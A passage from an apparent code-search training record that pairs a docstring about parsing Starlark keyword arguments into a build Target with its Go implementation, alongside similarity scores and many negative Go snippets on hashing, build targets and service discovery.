int32Key:\n\t\tbinary.LittleEndian.PutUint32(buf[:4], uint32(v))\n\t\treturn hashBytes(seed, buf[:4])\n\tcase int64Key:\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(v))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase uint8Key:\n\t\tbuf[0] = byte(v)\n\t\treturn hashBytes(seed, buf[:1])\n\tcase uint16Key:\n\t\tbinary.LittleEndian.PutUint16(buf[:2], uint16(v))\n\t\treturn hashBytes(seed, buf[:2])\n\tcase uint32Key:\n\t\tbinary.LittleEndian.PutUint32(buf[:4], uint32(v))\n\t\treturn hashBytes(seed, buf[:4])\n\tcase uint64Key:\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(v))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase float32Key:\n\t\tbinary.LittleEndian.PutUint32(buf[:4], math.Float32bits(float32(v)))\n\t\treturn hashBytes(seed, buf[:4])\n\tcase float64Key:\n\t\tbinary.LittleEndian.PutUint64(buf[:8], math.Float64bits(float64(v)))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase boolKey:\n\t\tif v {\n\t\t\tbuf[0] = 1\n\t\t}\n\t\treturn hashBytes(seed, buf[:1])\n\tcase sliceKey:\n\t\treturn hashSliceKey(seed, v)\n\tcase pointerKey:\n\t\treturn hashSliceKey(seed, v.sliceKey)\n\tcase pathKey:\n\t\treturn hashSliceKey(seed, v.sliceKey)\n\tcase nilKey:\n\t\treturn hashBytes(seed, nil)\n\tcase Hashable:\n\t\t// Mix up the hash to ensure it covers 64-bits\n\t\tbinary.LittleEndian.PutUint64(buf[:8], v.Hash())\n\t\treturn hashBytes(seed, buf[:8])\n\tdefault:\n\t\ts := _nilinterhash(v.Key())\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(s))\n\t\treturn hashBytes(seed, buf[:8])\n\t}\n}", "func (dtk *DcmTagKey) Hash() uint32 {\n\treturn ((uint32(int(dtk.group)<<16) & 0xffff0000) | (uint32(int(dtk.element) & 0xffff)))\n}", "func (spec Spec) DeepHash() string {\n\thash := sha512.New512_224()\n\tspec.DefaultService.hash(hash)\n\tfor _, rule := range spec.Rules {\n\t\trule.hash(hash)\n\t}\n\tsvcs := make([]string, len(spec.AllServices))\n\ti := 0\n\tfor k := range spec.AllServices {\n\t\tsvcs[i] = k\n\t\ti++\n\t}\n\tsort.Strings(svcs)\n\tfor _, svc := range svcs {\n\t\thash.Write([]byte(svc))\n\t\tspec.AllServices[svc].hash(hash)\n\t}\n\tspec.ShardCluster.hash(hash)\n\thash.Write([]byte(spec.VCL))\n\tfor _, auth := range spec.Auths {\n\t\tauth.hash(hash)\n\t}\n\tfor _, acl := range spec.ACLs {\n\t\tacl.hash(hash)\n\t}\n\tfor _, rw := range spec.Rewrites {\n\t\trw.hash(hash)\n\t}\n\tfor _, reqDisp := range spec.Dispositions {\n\t\treqDisp.hash(hash)\n\t}\n\th := new(big.Int)\n\th.SetBytes(hash.Sum(nil))\n\treturn h.Text(62)\n}" ]
[ "0.71392304", "0.7118988", "0.70433563", "0.70033073", "0.7000457", "0.69771796", "0.6946999", "0.69167256", "0.6911272", "0.6885437", "0.6881275", "0.6854698", "0.6839323", "0.6808889", "0.6802325", "0.67797977", "0.6749414", "0.6748137", "0.6745063", "0.67278856", "0.66853213", "0.6683674", "0.6680236", "0.6667324", "0.6652535", "0.6650117", "0.6633402", "0.65988237", "0.6597991", "0.65964407", "0.65933704", "0.6581115", "0.65747106", "0.6563886", "0.6557271", "0.6556366", "0.6554731", "0.65483683", "0.654223", "0.65323585", "0.6528166", "0.65242773", "0.651947", "0.65086025", "0.6507619", "0.6488133", "0.64871293", "0.6477431", "0.64751476", "0.647411", "0.6473493", "0.6471136", "0.64645445", "0.6462771", "0.64463836", "0.64432764", "0.64392227", "0.6434115", "0.6424212", "0.6419294", "0.6406749", "0.64006823", "0.64000505", "0.63998294", "0.63993245", "0.6399127", "0.6398219", "0.6397337", "0.63966537", "0.6391968", "0.63831466", "0.63792545", "0.6376018", "0.6374794", "0.63734704", "0.63600224", "0.6357834", "0.6355114", "0.63505995", "0.63443583", "0.63391376", "0.633428", "0.63270235", "0.63235474", "0.6320736", "0.6319919", "0.6317253", "0.6316801", "0.6316565", "0.63146734", "0.6311661", "0.63106495", "0.6308854", "0.6308431", "0.6305678", "0.63046443", "0.6303732", "0.62989837", "0.62983876", "0.6298272", "0.6296924" ]
0.0
-1
starlarkTarget parses Starlark kw/args and returns a corresponding `Target` wrapped in a `starlark.Value` interface. This is used in the `target()` starlark predefined/builtin function.
func starlarkTarget( args starlark.Tuple, kwargs []starlark.Tuple, ) (starlark.Value, error) { // For the sake of simpler parsing, we'll simply require that all args are // passed as kwargs (no positional args). if len(args) != 0 { return nil, errors.Errorf( "Expected 0 positional args; found %d", len(args), ) } // Make sure we have exactly the right number of keyword arguments. if len(kwargs) != 4 { found := make([]string, len(kwargs)) for i, kwarg := range kwargs { found[i] = string(kwarg[0].(starlark.String)) } return nil, errors.Errorf( "Expected kwargs {name, builder, args, env}; found {%s}", strings.Join(found, ", "), ) } // Iterate through the keyword arguments and grab the values for each // kwarg, putting them into the right `starlark.Value` variable. We'll // convert these to Go values for the `*Target` struct later. var nameKwarg, builderKwarg, argsKwarg, envKwarg starlark.Value for _, kwarg := range kwargs { switch key := kwarg[0].(starlark.String); key { case "name": if nameKwarg != nil { return nil, errors.Errorf("Duplicate argument 'name' found") } nameKwarg = kwarg[1] case "builder": if builderKwarg != nil { return nil, errors.Errorf("Duplicate argument 'builder' found") } builderKwarg = kwarg[1] case "args": if argsKwarg != nil { return nil, errors.Errorf("Duplicate argument 'args' found") } argsKwarg = kwarg[1] case "env": if envKwarg != nil { return nil, errors.Errorf("Duplicate argument 'env' found") } envKwarg = kwarg[1] default: return nil, errors.Errorf("Unexpected argument '%s' found", key) } } // Ok, now we've made sure we have values for the required keyword args and // that no additional arguments were passed. Next, we'll convert these // `starlark.Value`-typed variables into Go values for the output `*Target` // struct. // Validate that the `name` kwarg was a string. name, ok := nameKwarg.(starlark.String) if !ok { return nil, errors.Errorf( "TypeError: argument 'name': expected str, got %s", nameKwarg.Type(), ) } // Validate that the `builder` kwarg was a string. builder, ok := builderKwarg.(starlark.String) if !ok { return nil, errors.Errorf( "TypeError: argument 'builder': expected str, got %s", builderKwarg.Type(), ) } // Validate that the `args` kwarg was a list of `Arg`s, and convert it // into a `[]Arg` for the `Target.Args` field. argsSL, ok := argsKwarg.(*starlark.List) if !ok { return nil, errors.Errorf( "TypeError: argument 'args': expected list, got %s", argsKwarg.Type(), ) } args_ := make([]Arg, argsSL.Len()) for i := range args_ { arg, err := starlarkValueToArg(argsSL.Index(i)) if err != nil { return nil, errors.Wrapf(err, "Argument 'args[%d]'", i) } args_[i] = arg } // Validate that the `env` kwarg was a list of strings, and convert it into // a `[]string` for the `Target.Env` field. envSL, ok := envKwarg.(*starlark.List) if !ok { return nil, errors.Errorf( "TypeError: argument 'env': expected list, got %s", envKwarg.Type(), ) } env := make([]string, envSL.Len()) for i := range env { str, ok := envSL.Index(i).(starlark.String) if !ok { return nil, errors.Errorf( "TypeError: argument 'env[%d]': expected string; found %s", i, envSL.Index(i).Type(), ) } env[i] = string(str) } // By now, all of the fields have been validated, so build and return the // final `*Target`. return &Target{ Name: string(name), Builder: string(builder), Args: args_, Env: env, }, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewTarget(path string, kvstore store.Store, log *zap.Logger) *Target {\n\t// make sure we have a trailing slash for trimming future updates\n\tif !strings.HasSuffix(path, \"/\") {\n\t\tpath = path + \"/\"\n\t}\n\n\teventTypePathWatcher := NewWatcher(path+\"eventtypes\", kvstore, log)\n\tfunctionPathWatcher := NewWatcher(path+\"functions\", kvstore, log)\n\tsubscriptionPathWatcher := NewWatcher(path+\"subscriptions\", kvstore, log)\n\tcorsPathWatcher := NewWatcher(path+\"cors\", kvstore, log)\n\n\t// serves lookups for event types\n\teventTypeCache := newEventTypeCache(log)\n\t// serves lookups for function info\n\tfunctionCache := newFunctionCache(log)\n\t// serves lookups for which functions are subscribed to an event\n\tsubscriptionCache := newSubscriptionCache(log)\n\t// serves lookups for cors configuration\n\tcorsCache := newCORSCache(log)\n\n\t// start reacting to changes\n\tshutdown := make(chan struct{})\n\teventTypePathWatcher.React(eventTypeCache, shutdown)\n\tfunctionPathWatcher.React(functionCache, shutdown)\n\tsubscriptionPathWatcher.React(subscriptionCache, shutdown)\n\tcorsPathWatcher.React(corsCache, shutdown)\n\n\treturn &Target{\n\t\tlog: log,\n\t\tshutdown: shutdown,\n\t\teventTypeCache: eventTypeCache,\n\t\tfunctionCache: functionCache,\n\t\tsubscriptionCache: subscriptionCache,\n\t\tcorsCache: corsCache,\n\t}\n}", "func (p *Parser) Target() string {\n\treturn p.target\n}", "func NewTarget(labels, discoveredLabels labels.Labels, params url.Values) *Target {\n\treturn &Target{\n\t\tlabels: labels,\n\t\tdiscoveredLabels: discoveredLabels,\n\t\tparams: params,\n\t\thealth: HealthUnknown,\n\t}\n}", "func NewTarget() Target {\n\treturn Target{Alias: \"$tag_host $tag_name\", DsType: \"influxdb\"}\n}", "func NewTarget(namespace, pod, container string) *Target {\n\treturn &Target{\n\t\tNamespace: namespace,\n\t\tPod: pod,\n\t\tContainer: container,\n\t}\n}", "func NewTarget(typ string, g *graph.Graph, n *graph.Node, capture *types.Capture, uuids flow.UUIDs, bpf *flow.BPF, fta *flow.TableAllocator) (Target, error) {\n\tswitch typ {\n\tcase \"netflowv5\":\n\t\treturn NewNetFlowV5Target(g, n, capture, uuids)\n\tcase \"erspanv1\":\n\t\treturn NewERSpanTarget(g, n, capture)\n\tcase \"\", \"local\":\n\t\treturn NewLocalTarget(g, n, capture, uuids, fta)\n\t}\n\n\treturn nil, ErrTargetTypeUnknown\n}", "func (t *Target) GetTarget(spec *TestSpec) (*TargetDetails, error) {\n\n\tswitch t.Kind {\n\tcase nodePort, service:\n\t\thost, port, err := spec.Kub.GetServiceHostPort(helpers.DefaultNamespace, t.GetServiceName(spec))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &TargetDetails{\n\t\t\tPort: port,\n\t\t\tIP: []byte(host),\n\t\t}, nil\n\tcase direct:\n\t\tfilter := `{.status.podIP}{\"=\"}{.spec.containers[0].ports[0].containerPort}`\n\t\tres, err := spec.Kub.Get(helpers.DefaultNamespace, fmt.Sprintf(\"pod %s\", spec.DestPod)).Filter(filter)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"cannot get pod '%s' info: %s\", spec.DestPod, err)\n\t\t}\n\t\tvals := strings.Split(res.String(), \"=\")\n\t\tport, err := strconv.Atoi(vals[1])\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"cannot get pod '%s' port: %s\", spec.DestPod, err)\n\t\t}\n\t\treturn &TargetDetails{\n\t\t\tPort: port,\n\t\t\tIP: []byte(vals[0]),\n\t\t}, nil\n\t}\n\treturn nil, fmt.Errorf(\"%s not Implemented yet\", t.Kind)\n}", "func (client *Client) Target(kind string, name string) Target {\n\tclient.mutex.RLock()\n\tdefer client.mutex.RUnlock()\n\n\tfor _, target := range client.targets {\n\t\tif target.Kind() == kind && strings.EqualFold(name, target.Name()) {\n\t\t\treturn target\n\t\t}\n\t}\n\n\treturn nil\n}", "func (tc *Configs) Target(name string) (*Target, bool) {\n\tfilePrefix, target := splitTarget(name)\n\tfor _, tf := range tc.Files {\n\t\tif filePrefix != \"\" && tf.Basename() != filePrefix {\n\t\t\tcontinue\n\t\t}\n\t\ttarget, ok := tf.Targets[target]\n\t\tif ok {\n\t\t\treturn target, ok\n\t\t}\n\t}\n\treturn nil, false\n}", "func (s *targetLister) Targets(namespace string) TargetNamespaceLister {\n\treturn targetNamespaceLister{indexer: s.indexer, namespace: namespace}\n}", "func NewTarget(url string) (t *Target) {\n t = &Target{Url:url, method:defaultMethod, header:http.Header{}}\n return t\n}", "func (f *SAMDGClientForwarder) Target() string {\n\treturn f.Config().TargetHost + \":\" + f.Config().TargetPort\n}", "func (launcher *Launcher) GetTarget() string {\n\tlauncher.Mutex.RLock()\n\targ := launcher.target\n\tlauncher.Mutex.RUnlock()\n\treturn arg\n}", "func parseTarget(target string) (result Target, err error) {\n\n\tparts := strings.Split(target, \" \")\n\n\tif len(parts) > 2 {\n\t\terr = errors.New(\"TOO_MANY_PARTS_IN_TARGET\")\n\t\treturn\n\t}\n\tvar item string\n\tif len(parts) == 2 {\n\t\t// \"x xyz\"\n\t\tvar quant int\n\t\tquant, err = strconv.Atoi(parts[0])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tresult.Quantity = quant\n\t\titem = parts[1]\n\t} else {\n\t\t// \"xyz\"\n\t\titem = parts[0]\n\t}\n\n\tdotparts := strings.Split(item, \".\")\n\tif len(dotparts) == 1 {\n\t\tif strings.EqualFold(item, \"all\") {\n\t\t\t// \"all\"\n\t\t\tresult.All = true\n\t\t} else {\n\t\t\t// \"foo\"\n\t\t\tresult.Identifier = 0\n\t\t\tresult.Name = item\n\t\t}\n\t} else if len(dotparts) == 2 {\n\t\t// \"x.foo\"\n\t\tif strings.EqualFold(dotparts[0], \"all\") {\n\t\t\t// \"all.foo\"\n\t\t\tresult.All = true\n\t\t\tresult.Name = dotparts[1]\n\t\t} else {\n\t\t\t// \"4.foo\"\n\t\t\tvar identifier int\n\t\t\tidentifier, err = strconv.Atoi(dotparts[0])\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tresult.Identifier = identifier\n\t\t\tresult.Name = dotparts[1]\n\t\t}\n\t} else {\n\t\t// \"x.x.x\"\n\t\terr = errors.New(\"TOO_MANY_DOTS\")\n\t}\n\treturn\n}", "func (o EndpointOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v Endpoint) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "func createTarget(s *scope, args []pyObject) *core.BuildTarget {\n\tisTruthy := func(i int) bool {\n\t\treturn args[i] != nil && args[i] != None && args[i].IsTruthy()\n\t}\n\tname := string(args[nameBuildRuleArgIdx].(pyString))\n\ttestCmd := args[testCMDBuildRuleArgIdx]\n\ttest := isTruthy(testBuildRuleArgIdx)\n\t// A bunch of error checking first\n\ts.NAssert(name == \"all\", \"'all' is a reserved build target name.\")\n\ts.NAssert(name == \"\", \"Target name is empty\")\n\ts.NAssert(strings.ContainsRune(name, '/'), \"/ is a reserved character in build target names\")\n\ts.NAssert(strings.ContainsRune(name, ':'), \": is a reserved character in build target names\")\n\n\tif tag := args[tagBuildRuleArgIdx]; tag != nil {\n\t\tif tagStr := string(tag.(pyString)); tagStr != \"\" {\n\t\t\tname = tagName(name, tagStr)\n\t\t}\n\t}\n\tlabel, err := core.TryNewBuildLabel(s.pkg.Name, name)\n\ts.Assert(err == nil, \"Invalid build target name %s\", name)\n\tlabel.Subrepo = s.pkg.SubrepoName\n\n\ttarget := core.NewBuildTarget(label)\n\ttarget.Subrepo = s.pkg.Subrepo\n\ttarget.IsBinary = isTruthy(binaryBuildRuleArgIdx)\n\ttarget.IsSubrepo = isTruthy(subrepoArgIdx)\n\ttarget.NeedsTransitiveDependencies = isTruthy(needsTransitiveDepsBuildRuleArgIdx)\n\ttarget.OutputIsComplete = isTruthy(outputIsCompleteBuildRuleArgIdx)\n\ttarget.Sandbox = isTruthy(sandboxBuildRuleArgIdx)\n\ttarget.TestOnly = test || isTruthy(testOnlyBuildRuleArgIdx)\n\ttarget.ShowProgress.Set(isTruthy(progressBuildRuleArgIdx))\n\ttarget.IsRemoteFile = isTruthy(urlsBuildRuleArgIdx)\n\ttarget.IsTextFile = args[cmdBuildRuleArgIdx] == textFileCommand\n\ttarget.Local = isTruthy(localBuildRuleArgIdx)\n\ttarget.ExitOnError = isTruthy(exitOnErrorArgIdx)\n\tfor _, o := range asStringList(s, args[outDirsBuildRuleArgIdx], \"output_dirs\") {\n\t\ttarget.AddOutputDirectory(o)\n\t}\n\n\tvar size *core.Size\n\tif args[sizeBuildRuleArgIdx] != None {\n\t\tname := string(args[sizeBuildRuleArgIdx].(pyString))\n\t\tsize = mustSize(s, name)\n\t\ttarget.AddLabel(name)\n\t}\n\tif args[passEnvBuildRuleArgIdx] != None {\n\t\tl := asStringList(s, mustList(args[passEnvBuildRuleArgIdx]), \"pass_env\")\n\t\ttarget.PassEnv = &l\n\t}\n\n\ttarget.BuildTimeout = sizeAndTimeout(s, size, args[buildTimeoutBuildRuleArgIdx], s.state.Config.Build.Timeout)\n\ttarget.Stamp = isTruthy(stampBuildRuleArgIdx)\n\ttarget.IsFilegroup = args[cmdBuildRuleArgIdx] == filegroupCommand\n\tif desc := args[buildingDescriptionBuildRuleArgIdx]; desc != nil && desc != None {\n\t\ttarget.BuildingDescription = string(desc.(pyString))\n\t}\n\tif target.IsBinary {\n\t\ttarget.AddLabel(\"bin\")\n\t}\n\tif target.IsRemoteFile {\n\t\ttarget.AddLabel(\"remote\")\n\t}\n\ttarget.Command, target.Commands = decodeCommands(s, args[cmdBuildRuleArgIdx])\n\tif test {\n\t\ttarget.Test = new(core.TestFields)\n\n\t\tif flaky := args[flakyBuildRuleArgIdx]; flaky != nil {\n\t\t\tif flaky == True {\n\t\t\t\ttarget.Test.Flakiness = defaultFlakiness\n\t\t\t\ttarget.AddLabel(\"flaky\") // Automatically label flaky tests\n\t\t\t} else if flaky == False {\n\t\t\t\ttarget.Test.Flakiness = 1\n\t\t\t} else if i, ok := flaky.(pyInt); ok {\n\t\t\t\tif int(i) <= 1 {\n\t\t\t\t\ttarget.Test.Flakiness = 1\n\t\t\t\t} else {\n\t\t\t\t\ttarget.Test.Flakiness = uint8(i)\n\t\t\t\t\ttarget.AddLabel(\"flaky\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\ttarget.Test.Flakiness = 1\n\t\t}\n\t\tif testCmd != nil && testCmd != None {\n\t\t\ttarget.Test.Command, target.Test.Commands = decodeCommands(s, args[testCMDBuildRuleArgIdx])\n\t\t}\n\t\ttarget.Test.Timeout = sizeAndTimeout(s, size, args[testTimeoutBuildRuleArgIdx], s.state.Config.Test.Timeout)\n\t\ttarget.Test.Sandbox = isTruthy(testSandboxBuildRuleArgIdx)\n\t\ttarget.Test.NoOutput = isTruthy(noTestOutputBuildRuleArgIdx)\n\t}\n\n\tif err := validateSandbox(s.state, target); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif s.state.Config.Build.Config == \"dbg\" {\n\t\ttarget.Debug = new(core.DebugFields)\n\t\ttarget.Debug.Command, _ = decodeCommands(s, args[debugCMDBuildRuleArgIdx])\n\t}\n\treturn target\n}", "func TargetTriple(dev *device.ABI) Triple {\n\tout := Triple{\"unknown\", \"unknown\", \"unknown\", \"unknown\"}\n\t// Consult Triple.cpp for legal values for each of these.\n\t// arch: parseArch() + parseSubArch()\n\t// vendor: parseVendor()\n\t// os: parseOS()\n\t// abi: parseEnvironment() + parseFormat()\n\n\tswitch dev.Architecture {\n\tcase device.ARMv7a:\n\t\tout.arch = \"armv7\"\n\tcase device.ARMv8a:\n\t\tout.arch = \"aarch64\"\n\tcase device.X86:\n\t\tout.arch = \"i386\"\n\tcase device.X86_64:\n\t\tout.arch = \"x86_64\"\n\t}\n\n\tswitch dev.OS {\n\tcase device.Windows:\n\t\tout.vendor, out.os, out.abi = \"w64\", \"windows\", \"gnu\"\n\tcase device.OSX:\n\t\tout.vendor, out.os = \"apple\", \"darwin\"\n\tcase device.Linux:\n\t\tout.os = \"linux\"\n\tcase device.Stadia:\n\t\tout.os = \"linux\"\n\tcase device.Android:\n\t\tout.os, out.abi = \"linux\", \"androideabi\"\n\t}\n\n\treturn out\n}", "func NewTargetLister(indexer cache.Indexer) TargetLister {\n\treturn &targetLister{indexer: indexer}\n}", "func WithTarget(s string) Option {\n\treturn func(o *options) {\n\t\to.target = s\n\t}\n}", "func Target(id, endpoint string) string {\n\treturn fmt.Sprintf(\"%s://%s/%s\", scheme, id, endpoint)\n}", "func (s targetNamespaceLister) Get(name string) (*v1alpha1.Target, error) {\n\tobj, exists, err := s.indexer.GetByKey(s.namespace + \"/\" + name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\treturn nil, errors.NewNotFound(v1alpha1.Resource(\"target\"), name)\n\t}\n\treturn obj.(*v1alpha1.Target), nil\n}", "func (s *Session) Target() string {\n\treturn s.Name\n}", "func (c *Config) Target() *engine.NameSpace {\n\treturn &engine.NameSpace{\n\t\tType: \"crt\",\n\t\tModule: \"registry\",\n\t\tID: c.Name,\n\t}\n}", "func Target() *eacl.Target {\n\tx := eacl.NewTarget()\n\n\tx.SetRole(eacl.RoleSystem)\n\tx.SetBinaryKeys([][]byte{\n\t\t{1, 2, 3},\n\t\t{4, 5, 6},\n\t})\n\n\treturn x\n}", "func TargetHref(value string) *SimpleElement { return newSEString(\"targetHref\", value) }", "func populateTarget(s *scope, t *core.BuildTarget, args []pyObject) {\n\tif t.IsRemoteFile {\n\t\tfor _, url := range mustList(args[urlsBuildRuleArgIdx]) {\n\t\t\tt.AddSource(core.URLLabel(url.(pyString)))\n\t\t}\n\t} else if t.IsTextFile {\n\t\tt.FileContent = args[fileContentArgIdx].(pyString).String()\n\t}\n\taddMaybeNamed(s, \"srcs\", args[srcsBuildRuleArgIdx], t.AddSource, t.AddNamedSource, false, false)\n\taddMaybeNamedOrString(s, \"tools\", args[toolsBuildRuleArgIdx], t.AddTool, t.AddNamedTool, true, true)\n\taddMaybeNamed(s, \"system_srcs\", args[systemSrcsBuildRuleArgIdx], t.AddSource, nil, true, false)\n\taddMaybeNamed(s, \"data\", args[dataBuildRuleArgIdx], t.AddDatum, t.AddNamedDatum, false, false)\n\taddMaybeNamedOutput(s, \"outs\", args[outsBuildRuleArgIdx], t.AddOutput, t.AddNamedOutput, t, false)\n\taddMaybeNamedOutput(s, \"optional_outs\", args[optionalOutsBuildRuleArgIdx], t.AddOptionalOutput, nil, t, true)\n\taddDependencies(s, \"deps\", args[depsBuildRuleArgIdx], t, false, false)\n\taddDependencies(s, \"exported_deps\", args[exportedDepsBuildRuleArgIdx], t, true, false)\n\taddDependencies(s, \"internal_deps\", args[internalDepsBuildRuleArgIdx], t, false, true)\n\taddStrings(s, \"labels\", args[labelsBuildRuleArgIdx], t.AddLabel)\n\taddStrings(s, \"hashes\", args[hashesBuildRuleArgIdx], t.AddHash)\n\taddStrings(s, \"licences\", args[licencesBuildRuleArgIdx], t.AddLicence)\n\taddStrings(s, \"requires\", args[requiresBuildRuleArgIdx], t.AddRequire)\n\tif vis, ok := asList(args[visibilityBuildRuleArgIdx]); ok && len(vis) != 0 {\n\t\tif v, ok := vis[0].(pyString); ok && v == \"PUBLIC\" {\n\t\t\tt.Visibility = core.WholeGraph\n\t\t} else {\n\t\t\taddStrings(s, \"visibility\", args[visibilityBuildRuleArgIdx], func(str string) {\n\t\t\t\tt.Visibility = append(t.Visibility, parseVisibility(s, str))\n\t\t\t})\n\t\t}\n\t}\n\taddEntryPoints(s, args[entryPointsArgIdx], t)\n\taddEnv(s, args[envArgIdx], t)\n\taddMaybeNamedSecret(s, \"secrets\", args[secretsBuildRuleArgIdx], t.AddSecret, t.AddNamedSecret, t, true)\n\taddProvides(s, \"provides\", args[providesBuildRuleArgIdx], t)\n\tif f := callbackFunction(s, \"pre_build\", args[preBuildBuildRuleArgIdx], 1, \"argument\"); f != nil {\n\t\tt.PreBuildFunction = &preBuildFunction{f: f, s: s}\n\t}\n\tif f := callbackFunction(s, \"post_build\", args[postBuildBuildRuleArgIdx], 2, \"arguments\"); f != nil {\n\t\tt.PostBuildFunction = &postBuildFunction{f: f, s: s}\n\t}\n\n\tif t.IsTest() {\n\t\taddMaybeNamedOrString(s, \"test_tools\", args[testToolsBuildRuleArgIdx], t.AddTestTool, t.AddNamedTestTool, true, true)\n\t\taddMaybeNamedOutput(s, \"test_outputs\", args[testOutputsBuildRuleArgIdx], t.AddTestOutput, nil, t, false)\n\t}\n\n\tif t.Debug != nil {\n\t\taddMaybeNamed(s, \"debug_data\", args[debugDataBuildRuleArgIdx], t.AddDebugDatum, t.AddDebugNamedDatum, false, false)\n\t\taddMaybeNamedOrString(s, \"debug_tools\", args[debugToolsBuildRuleArgIdx], t.AddDebugTool, t.AddNamedDebugTool, true, true)\n\t}\n}", "func (o PodsMetricSourceOutput) Target() MetricTargetOutput {\n\treturn o.ApplyT(func(v PodsMetricSource) MetricTarget { return v.Target }).(MetricTargetOutput)\n}", "func (o GetSrvRecordRecordOutput) Target() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetSrvRecordRecord) string { return v.Target }).(pulumi.StringOutput)\n}", "func (o GetSrvRecordRecordOutput) Target() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetSrvRecordRecord) string { return v.Target }).(pulumi.StringOutput)\n}", "func NewTarget(dependencyMap map[string]*Dependencies, targetArg string, extendFlag bool) (target Target, err error) {\n\n\ttarget = Target{\n\t\tinitial: []string{},\n\t\tdependencies: []string{},\n\t}\n\n\tinitialTarget := cfg.ContainersForReference(targetArg)\n\tfor _, c := range initialTarget {\n\t\tif includes(allowed, c) {\n\t\t\ttarget.initial = append(target.initial, c)\n\t\t}\n\t}\n\n\tif extendFlag {\n\t\tvar (\n\t\t\tdependenciesSet = make(map[string]struct{})\n\t\t\tcascadingSeeds = []string{}\n\t\t)\n\t\t// start from the explicitly targeted target\n\t\tfor _, name := range target.initial {\n\t\t\tdependenciesSet[name] = struct{}{}\n\t\t\tcascadingSeeds = append(cascadingSeeds, name)\n\t\t}\n\n\t\t// Cascade until the dependency map has been fully traversed\n\t\t// according to the cascading flags.\n\t\tfor len(cascadingSeeds) > 0 {\n\t\t\tnextCascadingSeeds := []string{}\n\t\t\tfor _, seed := range cascadingSeeds {\n\t\t\t\tif dependencies, ok := dependencyMap[seed]; ok {\n\t\t\t\t\t// Queue direct dependencies if we haven't already considered them\n\t\t\t\t\tfor _, name := range dependencies.All {\n\t\t\t\t\t\tif _, alreadyIncluded := dependenciesSet[name]; !alreadyIncluded {\n\t\t\t\t\t\t\tdependenciesSet[name] = struct{}{}\n\t\t\t\t\t\t\tnextCascadingSeeds = append(nextCascadingSeeds, name)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tcascadingSeeds = nextCascadingSeeds\n\t\t}\n\n\t\tfor name := range dependenciesSet {\n\t\t\tif !includes(target.initial, name) {\n\t\t\t\ttarget.dependencies = append(target.dependencies, name)\n\t\t\t}\n\t\t}\n\n\t\tsort.Strings(target.dependencies)\n\t}\n\n\treturn\n}", "func (p *P2PResolver) Target(ctx context.Context, target rpcinfo.EndpointInfo) (description string) {\n\treturn p.network + \"@\" + p.target\n}", "func (t *Target) Type() string { return \"Target\" }", "func (o PodsMetricSourcePatchOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v PodsMetricSourcePatch) *MetricTargetPatch { return v.Target }).(MetricTargetPatchPtrOutput)\n}", "func (o ObjectMetricSourceOutput) Target() CrossVersionObjectReferenceOutput {\n\treturn o.ApplyT(func(v ObjectMetricSource) CrossVersionObjectReference { return v.Target }).(CrossVersionObjectReferenceOutput)\n}", "func getTarget(event *irc.Event) (target string) {\n\tif len(event.Arguments) > 0 {\n\t\tif event.Arguments[0] == Connection.GetNick() {\n\t\t\ttarget = event.Nick\n\t\t} else {\n\t\t\ttarget = event.Arguments[0]\n\t\t}\n\t}\n\treturn\n}", "func (o EndpointResponseOutput) Target() pulumi.StringOutput {\n\treturn o.ApplyT(func(v EndpointResponse) string { return v.Target }).(pulumi.StringOutput)\n}", "func (m *Model) Target() *Attribute {\n\treturn m.target\n}", "func Target(v string) predicate.Permission {\n\treturn predicate.Permission(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldTarget), v))\n\t})\n}", "func (o RegistryTaskDockerStepOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RegistryTaskDockerStep) *string { return v.Target }).(pulumi.StringPtrOutput)\n}", "func (self *Tween) Target() interface{}{\n return self.Object.Get(\"target\")\n}", "func (o RegistryTaskDockerStepPtrOutput) Target() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RegistryTaskDockerStep) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Target\n\t}).(pulumi.StringPtrOutput)\n}", "func (o ExternalMetricSourcePatchOutput) Target() MetricTargetPatchPtrOutput {\n\treturn o.ApplyT(func(v ExternalMetricSourcePatch) *MetricTargetPatch { return v.Target }).(MetricTargetPatchPtrOutput)\n}", "func (s *Service) targets(ctx *gin.Context) *api.Result {\n\tstate := ctx.Query(\"state\")\n\tsortKeys := func(targets map[string][]*discovery.SDTargets) ([]string, int) {\n\t\tvar n int\n\t\tkeys := make([]string, 0, len(targets))\n\t\tfor k := range targets {\n\t\t\tkeys = append(keys, k)\n\t\t\tn += len(targets[k])\n\t\t}\n\t\tsort.Strings(keys)\n\t\treturn keys, n\n\t}\n\n\tflatten := func(targets map[string][]*discovery.SDTargets) []*scrape.Target {\n\t\tkeys, n := sortKeys(targets)\n\t\tres := make([]*scrape.Target, 0, n)\n\t\tfor _, k := range keys {\n\t\t\tfor _, t := range targets[k] {\n\t\t\t\tres = append(res, t.PromTarget)\n\t\t\t}\n\t\t}\n\t\treturn res\n\t}\n\n\tshowActive := state == \"\" || state == \"any\" || state == \"active\"\n\tshowDropped := state == \"\" || state == \"any\" || state == \"dropped\"\n\tres := &v1.TargetDiscovery{}\n\n\tif showActive 